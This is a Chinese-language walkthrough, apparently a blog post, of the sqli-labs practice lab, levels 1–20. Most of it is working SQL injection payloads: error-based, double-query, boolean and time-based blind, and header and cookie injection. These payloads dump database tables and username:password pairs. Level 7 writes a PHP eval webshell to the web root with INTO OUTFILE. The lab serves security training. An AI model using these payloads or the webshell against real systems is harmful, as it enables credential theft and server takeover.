【Web安全靶场】sqli-labs-master 1-20 BASIC-Injection

sqli-labs-master 1-20 BASIC-Injection

文章目录

  • sqli-labs-master 1-20 BASIC-Injection
    • 第一关-报错注入
    • 第二关-报错注入
    • 第三关-报错注入
    • 第四关-报错注入
    • 第五关-报错注入-双查询注入
    • 第六关-报错注入-双查询注入
    • 第七关-outfile写入webshell
    • 第八关-布尔盲注
    • 第九关-时间盲注
    • 第十关-时间盲注
    • 第十一关-Post参数报错注入
    • 第十二关-Post参数双查询注入
    • 第十三关-Post参数双查询注入
    • 第十四关-Post参数双查询注入
    • 第十五关-Post参数布尔盲注
    • 第十六关-Post参数时间盲注
    • 第十七关-Post参数update报错注入
    • 第十八关-User-agent中insert报错注入
    • 第十九关-Referer中insert报错注入
    • 第二十关-cookie注入
  • 总结


第一关-报错注入

首先先确定注入方式,第一关的方法还是很多的,确认闭合方式后,这里就用报错注入:

?id=1' and updatexml(1,'~',3)--+

使用上述语句进行注入可以得到报错信息XPATH syntax error: ‘~’,故存在报错注入。

?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

接着使用上述语句获取表名,得到XPATH syntax error: ‘~emails,referers,uagents,users’,接下来对users表的数据进行获取。

?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) --+

通过使用上述语句可以获得字段名,得到 XPATH syntax error: ‘~id,username,password’,所以接下来的目的就是获取username和password。

?id=1' and updatexml(1,concat('~',(select group_concat(username,0x3a,password) from users)),3) --+

通过上述语句得到**XPATH syntax error: ‘~Dumb:Dumb,Angelina:I-kill-you,D’**不知道是不是完整的东西,这是因为updatexml的报错信息最多输出32位,所以这里使用substr进行截断处理:

?id=1' and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3) --+

第二关-报错注入

这一关还是使用报错注入,首先确定闭合方式:

?id=2-1

通过上述语句可以确定这是数字型,接着判断是否可以使用报错注入:

?id=1 and updatexml(1,'~',3)

通过上述语句得到XPATH syntax error: ‘~’,所以可以使用报错注入。

?id=1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

通过上述语句可以得到表名XPATH syntax error: ‘~emails,referers,uagents,users’,接着我们获取users表中的字段名。

?id=1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)

通过上述语句可以得到users表的字段名,XPATH syntax error: ‘~id,username,password’,所以接下来的目的就是得到username和password。

?id=1 and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3)

通过上述语句得到,XPATH syntax error: ‘~Dumb:Dumb,Angelina:I-kill-you,D’

第三关-报错注入

这一关还是使用报错注入,但是它的闭合方式不太一样了。

?id=1')--+

通过上述语句可以得到闭合方式是单引号与括号闭合,接下来就获取表名,获取方法还是和上面两道题一样。

?id=1') and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+

通过上述语句得到XPATH syntax error: ‘~emails,referers,uagents,users’,接下来获取users表的字段名

?id=1') and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+

通过上述语句得到 XPATH syntax error: ‘~id,username,password’ ,最后获取username和password数据。

?id=1') and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3)--+

通过上述语句得到, XPATH syntax error: ‘~Dumb:Dumb,Angelina:I-kill-you,D’

第四关-报错注入

这一关还是使用报错注入,闭合方式如下:

?id=1")--+

通过上述语句得到闭合方式为双引号加括号,接下来获取表名。

?id=1") and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+

通过上述语句得到表名为XPATH syntax error: ‘~emails,referers,uagents,users’,接下来获取users的字段名。

?id=1") and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+

通过上述语句得到users的字段名为XPATH syntax error: ‘~id,username,password’,接下来获取username和password的数据。

?id=1") and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3)--+

通过上述语句得到username和password数据为 XPATH syntax error: ‘~Dumb:Dumb,Angelina:I-kill-you,D’

第五关-报错注入-双查询注入

首先这对于初学来说这个报错注入会比较难理解,我们先判断闭合方式:

?id=1' and '1'='1
?id=1' and '1'='2

通过上述语句可以知道这是单引号闭合,接下来判断注入类型,这里先试一下Union注入:

?id=1' order by 3 --+
?id=1' order by 4 --+

通过上述语句可以得到字段数为3,接下来判断回显位:

?id=1' and '1'='2' union select 1,2,3--+

通过这一段payload,发现并没有回显位,所以Union注入不可行,所以回到报错注入。

?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+

通过上述语句得到的结果为 XPATH syntax error: ‘~emails,referers,uagents,users’,之后过程省略。但是这一关的考点为报错注入中的双查询注入,我们假设updatexml()被过滤了,我们要使用双查询注入,关于双查询注入的文章[【Double SQL Injection(双查询注入) | Mochazz’s blog】](https://mochazz.github.io/2017/09/23/Double_ SQL_Injection/)。

?id=1' union select 1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+

通过上述语句得到Duplicate entry ‘:emails,referers,uagents,users:0’ for key ‘’,接着获取users的字段名

?id=1' union select 1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+

通过上述语句得到 **Duplicate entry ‘:id,username,password:0’ for key ‘’**接着获取username和password:

?id=1' union select 1,concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand()*2)) as a,count(*) from information_schema.columns group by a --+

第六关-报错注入-双查询注入

这一关同样是双查询注入,首先确定闭合方式:

?id=1" and "1"="1
?id=1" and "1"="2

通过上述语句可以得出,这是双引号闭合,接着获取表名:

?id=1" union select 1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand()*2)) as a,count(*) from information_schema.columns  group by a --+

通过这一payload得出 Duplicate entry ‘:emails,referers,uagents,users:1’ for key ‘’,接下来获取users的字段名:

?id=1" union select 1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+

最后获取username和password:

?id=1" union select 1,concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+

第七关-outfile写入webshell

首先确定闭合方式:

Less-7/?id=1'--+
Less-7/?id=1')--+
Less-7/?id=1'))--+

通过上述可以得到闭合方式为单引号加上两个括号

?id=1')) order by 3 --+
?id=1')) order by 4 --+
?id=1')) union select 1,2,3 --+

通过上述可以得到字段数为3,且没有回显位,

?id=-1' union select 1,2,@@datadir --+

通过上述语句得到MySQL路径为Your Password:C:\phpstudy_pro\Extensions\MySQL5.7.26\data\

?id=1')) and (select count(*) from mysql.user)>0 --+

通过上述语句发现页面正常,得出对该网站的服务器有读写权限,所以我们可以写入一个webshell:

?id=1')) union select 1,"<?php @eval($_POST[cmd]);?>",3 into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.php" --+

通过蚁剑就可以直接连接了,如果写不进去,可能是权限不够,打开MySQL的my.ini文件,在里面添加secure_file_priv="/"即可。

在这里插入图片描述

在这里插入图片描述

第八关-布尔盲注

第八关的考点是布尔盲注,首先来判断闭合

?id=1' and '1'='2

接着根据只有显示和不显示的特点,选择布尔盲注,首先获取数据库名长度:

?id=1' and length(database())=8 --+

获得了数据库名后进行爆破了:

?id=1' and substr(database(),1,1)='s' --+

通过上述语句进而得到数据库名为security,接着开始爆破表名

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' --+

通过上述payload可以进一步得到存在users表,剩下过程略。

第九关-时间盲注

这一关的考点是时间盲注,首先确定闭合方式,发现怎么样也是显示You are in…,所以更加坚定是时间盲注了:

?id=1' and if(length(database())=8,sleep(3),1) --+

通过上述语句可以得出数据库名长度为8,接下来开始爆破库名

?id=1' and if(substr(database(),1,1)='s',sleep(3),1) --+

通过上面的模板可以得出库名为security,接下来开始爆破表名:

?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1) --+

通过上述模板可以得到表名,剩下过程略。

第十关-时间盲注

这一关是时间盲注,首先确定闭合方式,双引号闭合

?id=1" and sleep(1) --+

下面直接获取表名:

?id=1" and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(2),1) --+

下面获取字段名:

?id=1" and if(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='i',sleep(2),1) --+

下面获取username和password数据:

?id=1" and if(substr((select concat(username,0x3a,password) from security.users limit 0,1),1,1)='D',sleep(2),1) --+

第十一关-Post参数报错注入

这一道题是Post型的注入了,第一道Post题比较简单,报

这一道题是Post型的注入了,第一道Post题比较简单,报错注入试一下,首先判断闭合方式:

在这里插入图片描述

通过上述得出为单引号闭合,下面直接爆表名:

在这里插入图片描述

剩下过程略。

第十二关-Post参数双查询注入

首先确定闭合方式:

在这里插入图片描述

在这里插入图片描述

通过以上确定这是双引号和括号闭合,接着确定字段数

uname=1") order by 2#&passwd=1&submit=Submit
uname=1") order by 3#&passwd=1&submit=Submit

复习一下双查询注入吧:

uname=1") union select concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a #&passwd=1&Submit=Submit

在这里插入图片描述

uname=1") union select concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=Submit

在这里插入图片描述

uname=1") union select concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=Submit

在这里插入图片描述

第十三关-Post参数双查询注入

这一关是双查询注入,直接给出每一步的payload吧

uname=1')#&passwd=1&Submit=Submit

接着判断字段数,使用order by,可知字段数为2

uname=1') order by 2#&passwd=1&Submit=Submit
uname=1') order by 3#&passwd=1&Submit=Submit

接着使用union select结合双查询注入得到表名:

uname=1') union select concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=Submit

在这里插入图片描述

接着获取users表的字段名:

uname=1') union select concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=Submit

在这里插入图片描述

接着获取username和password的数据

uname=1') union select concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=Submit

在这里插入图片描述

第十四关-Post参数双查询注入

这一道题是双查询注入,和第十三关一样,只是闭合方式为双引号而已:

uname=1"#&passwd=1&Submit=Submit
uname=1" order by 2#&passwd=1&Submit=Submit
uname=1" order by 3#&passwd=1&Submit=Submit

uname=1" union select concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=Submit

Submit=Submit&passwd=1&uname=1" union select concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#

Submit=Submit&passwd=1&uname=1" union select concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#

第十五关-Post参数布尔盲注

这一关使用的是布尔盲注,通过能否登录成功来判定对错

uname=1' or 1=1 -- #&passwd=1&Submit=Submit

通过上面万能语句可以知道存在布尔盲注,当1=1时候呈现登录成功,当1=2或其他false则呈现登录失败,注意点就是要用or而不是and,因为不知道用户名是什么

uname=1' or length(database())=8 -- #&passwd=1&Submit=Submit

通过上述语句可以知道数据库名长度为8。

uname=1' or substr(database(),1,1)='s' -- #&passwd=1&Submit=Submit

通过上述模板可以得到数据库名为security

uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' -- #&passwd=1&Submit=Submit

通过上述模板可以得到表名有users,接着获取字段名。

uname=1' or substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='i' -- #&passwd=1&Submit=Submit

获取数据过程省略

第十六关-Post参数时间盲注

通过万能语句得到闭合方式

uname=1") or 1=1 -- #&passwd=1&Submit=Submit

接着通过下面的模板逐步获取信息

uname=1") or if(length(database())=8,sleep(1),1) -- #&passwd=1&Submit=Submit
uname=1") or if(substr(database(),1,1)='s',sleep(1),1) -- #&passwd=1&Submit=Submit

uname=1") or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(1),1) -- #&passwd=1&Submit=Submit

uname=1") or if(substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,1)='i',sleep(1),1) -- #&passwd=1&Submit=Submit

uname=1") or if(substr((select group_concat(username,0x3a,password) from users limit 0,1),1,1)='D',sleep(1),1) -- #&passwd=1&Submit=Submit

第十七关-Post参数update报错注入

在尝试username输入框中构造闭合发现怎么够不行,所以尝试在password中构造闭合

uname=Dhakkan&passwd=1'&Submit=Submit
uname=Dhakkan&passwd=1'-- #&Submit=Submit

通过上述语句可以知道这是单引号闭合,并且有报错信息,所以采取updatexml报错注入

uname=Dhakkan&passwd=1' and updatexml(1,0x7e,3) -- #&Submit=Submit

在这里插入图片描述

uname=Dhakkan&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #&Submit=Submit

在这里插入图片描述

uname=Dhakkan&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) -- #&Submit=Submit

在这里插入图片描述

到最后一步的时候发现存在报错

在这里插入图片描述

关于这个报错可以看这篇文章,具体来说,这个报错的原因是,你在UPDATE语句中引用了一个子查询,而这个子查询正好涉及到了要更新的目标表。数据库系统不允许这种情况,因为在执行更新操作时,被更新的表可能会被锁定,而同时又要去访问它来执行子查询,这可能导致冲突。要解决这个问题,一种常见的方法是将子查询的结果先存储到一个临时表中,然后再使用UPDATE语句来更新目标表,这样就不会出现目标表同时被更新和查询的情况了。

uname=Dhakkan&passwd=1' and updatexml(1,concat(0x7e,(select password from (select password from users limit 0,1)test)),3) -- #&Submit=Submit

在这里插入图片描述

这个子查询中使用了嵌套的SELECT语句从表"users"中选择密码信息,但在子查询中,表"users"被重命名为"test",这样就避免了直接在UPDATE语句中引用原始表名"users",从而避免了报错。

第十八关-User-agent中insert报错注入

这一道题是在请求头中注入,页面上显示的是我的IP地址,先分析请求头:

POST /sqli-labs-master/Less-18/ HTTP/1.1
Host: 192.168.5.141
Content-Length: 28
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.5.141
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.5.141/sqli-labs-master/Less-18/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

uname=&passwd=&submit=Submit

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
X-Forwarded-For:简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中。
Cookie,有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。
X-Real-IP一般只记录真实发出请求的客户端IP。
Accept Language请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言。
User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
Accept代表客户端希望接受的数据类型,数据类型中的先后次序表示客户端接受的先后次序。
Referer表示一个来源,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从那个页面链接过来的,服务器借此可以获得一些信息用于处理。Referer用于所有类型的请求。

一开始想的是XFF注入,但是这里却没有XFF的头,当我输入正确的账号密码时候发现了我的User-agent显示出来了,所以我断定这是在User-agent中注入。

先检查代码吧:

uname和passwd都进行了过滤操作,所以不考虑从这两个地方注入

	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);

代码中有一段insert的sql语句

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

所以我们可以利用user-agent构造payload。

insert中的报错注入原理如下:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' and updatexml(1,0x7e,3) and '', '$IP', $uname)
User-Agent: ' and updatexml(1,0x7e,3) and '

在这里插入图片描述

User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or '

在这里插入图片描述

剩下部分略。

第十九关-Referer中insert报错注入

这一关输入正确的账号密码之后显示出Referer,可以判定这是referer注入。

Referer: ' or sleep(10) or '

通过上述语句可以知道,能够在sleep(10)中构造payload,虽然最终显示的Referer是 ’ or sleep(10) or ',但是sleep()还是被执行了。

Referer: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or '

在这里插入图片描述

Referer: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) or '

在这里插入图片描述

Referer: ' or updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users limit 0,1)),3) or '

在这里插入图片描述

第二十关-cookie注入

登录进去发现有个删除cookie的按钮,在进行探针测试时候没有任何结果,所以分析了一下源代码,发现根本没有delect的SQL语句,先分析一下过程,首先登录框输入完成账号密码之后提交,流量包里面并没有发现cookie,服务器收到账号密码之后确认无误就会给你setcookie()所以你又发送了一个带有cookie的流量包,服务器源代码检测到cookie之后就会执行如下代码,这里省略一些没用的:

if (!isset($_POST['submit'])) {

			$cookee = $_COOKIE['uname'];
			$format = 'D d M Y - H:i:s';
			$timestamp = time() + 3600;
			echo "YOUR USER AGENT IS : " . $_SERVER['HTTP_USER_AGENT'];
			echo "YOUR IP ADDRESS IS : " . $_SERVER['REMOTE_ADDR'];
			echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
			echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);

			$sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
			$result = mysql_query($sql);
			if (!$result) {
				die('Issue with your mysql: ' . mysql_error());
			}
			$row = mysql_fetch_array($result);
			if ($row) {
				echo 'Your Login name:' . $row['username'];
				echo '<font color= "grey" font size="5">';
				echo 'Your Password:' . $row['password'];
				echo 'Your ID:' . $row['id'];
			} else {
				echo '<img src="../images/slap1.jpg" />';
				//echo '<img src="../images/Less-20.jpg" />';
			}
			echo '<form action="" method="post">';
			echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';
			echo '</form>';
		} 

注入点就在**$sql = “SELECT * FROM users WHERE username=‘$cookee’ LIMIT 0,1”;**,不解释了,直接看payload:

Cookie: uname=dhakkan' or updatexml(1,0x7e,3)  or '

在这里插入图片描述

剩下过程就省略了,这里对cookie没有任何过滤操作。

总结

  • 双查询注入中关键为:floor(rand(14)*2)、count(*)、group by
  • Post登录框中利用盲注,前后变化为登录成功和失败并且要使用万能头
  • update insert 等能用or就用or
  • 注意update语句中引用子查询,可能要使用嵌套select

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/413950.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

LeetCode 刷题 [C++] 第240题.搜索二维矩阵 II

题目描述 编写一个高效的算法来搜索 m x n 矩阵 matrix 中的一个目标值 target 。该矩阵具有以下特性&#xff1a; 每行的元素从左到右升序排列。 每列的元素从上到下升序排列。 题目分析 通过分析矩阵的特点发现&#xff0c;其左下角和右上角可以看作一个“二叉搜索树的根节…

Unity开发一个FPS游戏

在之前的文章Unity 3D Input System的使用-CSDN博客中,我介绍了如何用Input System来实现一个FPS游戏的移动控制,这里将进一步完善这个游戏。 以下是游戏的演示效果: fps_demo 添加武器模型 首先是增加主角玩家的武器,我们可以在网上搜索到很多免费的3D资源,例如在以下网…

物联网APP开发:技术、挑战与前景

随着科技的快速发展&#xff0c;物联网&#xff08;IoT&#xff09;已经成为当今世界的重要趋势。物联网是将物理世界的各种“事物”与互联网连接起来&#xff0c;通过智能设备、传感器和执行器实现数据的收集、交换和处理&#xff0c;以改善生活和工作的方式。物联网APP是实现…

贪心算法

贪心算法 例题1、股票买卖题目信息思路题解 2、货仓选址题目信息思路题解 3、糖果传递题目信息思路题解 4、雷达设备题目信息思路题解 例题 1、股票买卖 题目信息 思路 相邻两天&#xff0c;后>前&#xff0c;则交易一次 题解 #include <bits/stdc.h> #define en…

【从零开始学习重要知识点 | 第一篇】快速了解什么是幂等性以及常见解决方案

前言&#xff1a; 当我们在设计和实现分布式系统时&#xff0c;幂等性是一个非常重要的概念。幂等性可以简单地理解为&#xff1a;对于同一操作&#xff0c;不论执行多少次&#xff0c;产生的影响都是相同的。这个概念在分布式系统中非常重要&#xff0c;因为在这种环境下&…

如何使用ArcGIS Pro为栅格图添加坐标信息

在某些时候&#xff0c;我们从网上获取的资源是一张普通的栅格图&#xff0c;没有任何的坐标信息&#xff0c;如果想要和带坐标信息的数据一起使用就需要先添加坐标信息&#xff0c;在GIS上&#xff0c;我们把这个过程叫做地理配准&#xff0c;这里为大家介绍一下地理配准的方法…

【JavaEE】_前端POST请求借助form表单向后端传参

目录 1. 前端POST请求借助form表单向后端传参 2. 关于parameter方法获取参数的优先性问题 前端向后端传参通常有三种方法&#xff1a; 第一种&#xff1a;使用GET请求的query string部分向后端传参&#xff1a; 本专栏中已经详述了前端使用GET请求的query string向后端传参…

【严格递增】2972统计移除递增子数组的数目 II

作者推荐 动态规划的时间复杂度优化 本文涉及知识点 严格递增 子数组 LeetCode2972. 统计移除递增子数组的数目 II 给你一个下标从 0 开始的 正 整数数组 nums 。 如果 nums 的一个子数组满足&#xff1a;移除这个子数组后剩余元素 严格递增 &#xff0c;那么我们称这个子…

ESP32语音转文字齐护百度在线语音识别

一、导入(10分钟&#xff09; 学习目的 二、新授(70分钟) 1.预展示结果(5分钟) 2.本节课所用的软硬件(5分钟) 4.图形化块介绍(10分钟) 5.单个模块的简单使用(10分钟) 6.在线语音转换工具逻辑分析(10分钟) 7.在线语音转换工具分步实现(30分钟) 三、巩固练习(5分钟) 四、课堂小结…

【论文复现】——一种新的鲁棒三维点云平面拟合方法

目录 一、算法原理1、论文概述2、参考文献二、代码实现三、结果展示本文由CSDN点云侠原创,原文链接。如果你不是在点云侠的博客中看到该文章,那么此处便是不要脸的GPT爬虫。 一、算法原理 1、论文概述 针对三维点云中的异常值和粗差点对平面拟合精度产生的影响,文章提出一…

[Mac软件]Adobe Substance 3D Stager 2.1.4 3D场景搭建工具

应用介绍 Adobe Substance 3D Stager&#xff0c;您设备齐全的虚拟工作室。在这个直观的舞台工具中构建和组装 3D 场景。设置资产、材质、灯光和相机。导出和共享媒体&#xff0c;从图像到 Web 和 AR 体验。 处理您的最终图像 Substance 3D Stager 可让您在上下文中做出创造性…

【无标题】积鼎CFD VirtualFlow:航空及汽车燃油晃动流体仿真计算及试验对比

图1 汽车储液罐内的液体晃动 燃油晃动&#xff0c;作为航空、航海及汽车工业中一个重要的物理现象&#xff0c;一直以来都受到广泛关注。在飞行器、船舶或汽车的运行过程中&#xff0c;由于外部扰动或内部燃料的消耗&#xff0c;油箱内的燃油会产生晃动。这种晃动不仅会影响燃…

[Flutter]设置应用包名、名称、版本号、最低支持版本、Icon、启动页以及环境判断、平台判断和打包

一、设置应用包名 在Flutter开发中&#xff0c;修改应用程序的包名&#xff08;也称作Application ID&#xff09;涉及几个步骤&#xff0c;因为包名是在项目的Android和iOS平台代码中分别配置的。请按照以下步骤操作&#xff1a; 1.Android Flutter工程中全局搜索替换包名 …

SpringMVC 学习(九)之拦截器

目录 1 拦截器介绍 2 创建一个拦截器类 3 配置拦截器 1 拦截器介绍 在 SpringMVC 中&#xff0c;拦截器 (Interceptor) 是一种用于拦截 HTTP 请求并在请求处理之前或之后执行自定义逻辑的组件。拦截器可以用于实现以下功能&#xff1a; 权限验证&#xff1a;在请求处理之前…

第五节:Vben Admin权限-前端控制方式

系列文章目录 第一节:Vben Admin介绍和初次运行 第二节:Vben Admin 登录逻辑梳理和对接后端准备 第三节:Vben Admin登录对接后端login接口 第四节:Vben Admin登录对接后端getUserInfo接口 第五节:Vben Admin权限-前端控制方式 文章目录 系列文章目录前言一、Vben Admin权…

(一)Spring MVC 实现原理之 DispatcherServlet 的初始化过程

目录 一. 前言 二. DispatcherServlet 和 ApplicationContext 有什么关系 三. 初始化过程 3.1. 概述 3.2. init() 方法 3.3. initWebApplicationContext() 方法 3.4. refresh() 方法 3.5. initHandlerMappings()、initHandlerAdapters()、initHandlerExceptionResovers…

江科大stm32 定时器 TIM输出比较--学习笔记

这几天遇到输出比较相关的问题&#xff0c;于是来学习下TIM输出比较部分知识点&#xff01; 输出比较简介 CNT是计数器的值&#xff0c;CCR寄存器是捕获/ 比较寄存器 简单的讲&#xff0c;输出比较就是用来输出PWM波形。 PWM简介 占空比&#xff1a;高电平占一个周期的比例。…

【OpenCV C++】Mat img.total() 和img.cols * img.rows 意思一样吗?二者完全相等吗?

文章目录 1 结论及区别2 Mat img的属性 介绍1 结论及区别 在大多数情况下,img.total() 和 img.cols * img.rows 是相等的,但并不总是完全相等的。下面是它们的含义和一些区别: 1.img.total() 表示图像中像素的总数,即图像的总像素数量。2.img.cols * img.rows 也表示图像中…

Idea安装gideabrowser插件

Idea安装gideabrowser插件 一、安装二、设置教程 一、安装 gideabrowser链接地址 二、设置教程 在人生的舞台上&#xff0c;奋力拼搏&#xff0c;才能演绎出最精彩的人生之歌。面对挑战和困难&#xff0c;不妥协、不气馁&#xff0c;只争朝夕&#xff0c;方显坚韧与智慧。努…

wayland(xdg_wm_base) + egl + opengles 使用 Assimp 加载3D model 最简实例(十三)

文章目录 前言一、3D model 文件介绍1. 3d model 介绍1.1 如何获取3d model 文件1.2 3d model 的文件格式1.3 obj模型数据格式2. 3d 立方体 model 实例——cube.obj二、Assimp 介绍1. Assimp 简介2.ubuntu 上安装libassimp3. 使用Assimp 解析 cube.obj 文件3.1 assimp_load_cub…